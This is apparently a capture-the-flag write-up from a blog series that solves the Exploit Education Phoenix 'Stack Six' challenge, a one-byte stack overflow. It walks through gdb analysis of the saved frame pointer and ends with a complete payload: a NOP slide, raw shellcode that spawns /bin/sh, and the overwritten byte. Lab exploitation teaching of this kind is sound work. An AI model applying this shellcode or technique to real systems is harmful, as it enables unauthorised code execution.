Skip to main content

Exploit Education Phoenix : Stack Six

·920 words·5 mins
Exploit Development Reverse Engineering Exploit Education
Exploit Education Phoenix - This article is part of a series.
Part 7: This Article
Before you look at the solution to the challenges, I invite you to try it for yourself. You can find all the challenges here.

Overview of the challenge #

The aim of the Phoenix challenges is to analyse the source code of an executable in order to find and exploit a vulnerability. This first series of challenges concerns the stack.

The first thing to do is to analyse the executable’s source code. Looking for a vulnerability to exploit.

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}

This challenge is the last in the stack series, so it’s the hardest challenge in the series. The aim of this final challenge is to exploit a one-byte overflow. As with the previous challenge, to succeed we have to open a shell by executing shellcode.

The first thing you notice is the use of the getenv function, which is used to retrieve the value of an environment variable. This value is then used to call the greet function.

So we need to take a closer look at the greet function. This function allocates a buffer of 128 bytes, then checks that the size of the value of the environment variable ExploitEducation does not exceed the size of the buffer. However, you can see that in the rest of the function, it calls the strcpy function and the strncpy function. Calling the strcpy function allows the contents of the what variable to be written to the buffer, then the strncpy function writes the contents of the environment variable to the buffer, limiting the number of characters to the maximum size of the buffer. Note that even when using the strcpy function, it is possible to write outside the buffer since the strncpy function takes buffer + strlen(buffer) as the destination address. The first thing to do is check whether we can rewrite the return value with this buffer overflow.

The first thing to do is to find the return address.

$ gdb stack-six
$ disass main

Disassembly main
Disassembly of the main function to find the return address.

So we now know that the return address is: 0x00000000004007E9. Now we have to try and rewrite this value in the stack, so we place a breakpoint just after the call to the strncpy function to inspect the stack.

$ export ExploitEducation=$(python -c "print 'A'*127")
$ gdb stack-six
$ disass greet
$ b *0x0000000000400782
$ x/100x $rsp

Stack Analysis
Analysis of the stack after writing in the buffer.

We can see that we can only modify the last byte of the address of the ebp register, which is stored just before the return address. We therefore need to find a solution to exploit this vulnerability to execute our shellcode.

Exploiting the vulnerability #

GDB sometimes shifts stack addresses slightly because of environment variables. This can cause problems when testing a vulnerability outside GDB. To fix this you need to remove excess environment variables, you can use the show env command to show environment variables and unset env <var_name> to remove an environment variable. In my case. I had to remove the variables LINES and COLUMNS.

The first thing we notice is that we can change the value of the ebp register from address: 0x7FFFFFE500 to address 0x7FFFFFE5FF.

If we analyse the main function, we can see that the value of the environment variable is stored in the stack.

Binary Ninja Analysis
Analysis of the main function in Binary Ninja.

The way to exploit a one-byte overflow is to modify the value of the ebp register present in the stack so that when a leave instruction is executed, the rsp register takes the value of the corrupted rbp register and finally when the ret instruction which follows the leave instruction retrieves the return address from the stack, the stack retrieves the return address from the rsp register which has just been corrupted. If you’re looking for more information on how a one-byte overflow works, I invite you to read this.

We can now analyse the stack.

$ export ExploitEducation=$(python -c "print 'A'*127")
$ gdb stack-six
$ disass main
$ b *0x00000000004007c2
$ r
$ disass greet
$ b *0x0000000000400791
$ c
$ x/50xg $rsp

Breakpoint Hit
Writing the value of the environment variable to the stack.

Stack Analysis
Analysis of the stack to find the argument of the greet function.

Thanks to the stack analysis we now know that the address of the characters we have entered is 0x7FFFFFFFE5D8. We can use this address to run our shellcode, since we can reach this address by changing the value of the ebp registry to 0x7FFFFFFE5D0.

Constructing the malicious string #

We now have all we need to exploit the vulnerability. We can create our malicious string by setting the environement variable with a NOP slide of 50 insctruction, then with a shellcode of 57 bytes that open a shell and 19 NOP to reach the ebp register. finally, we change the LSB of the ebp register by 0XD0.

$ export ExploitEducation=$(python -c "print '\x90'*50 + '\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05' + '\x90'*19 + '\xD0'")
$ ./stack-six

Attack Result
Result of exploiting the vulnerability.

Finally, we can see that we’ve opened a new shell, so we’ve succeeded in our challenge.



Exploit Education Phoenix - This article is part of a series.
Part 7: This Article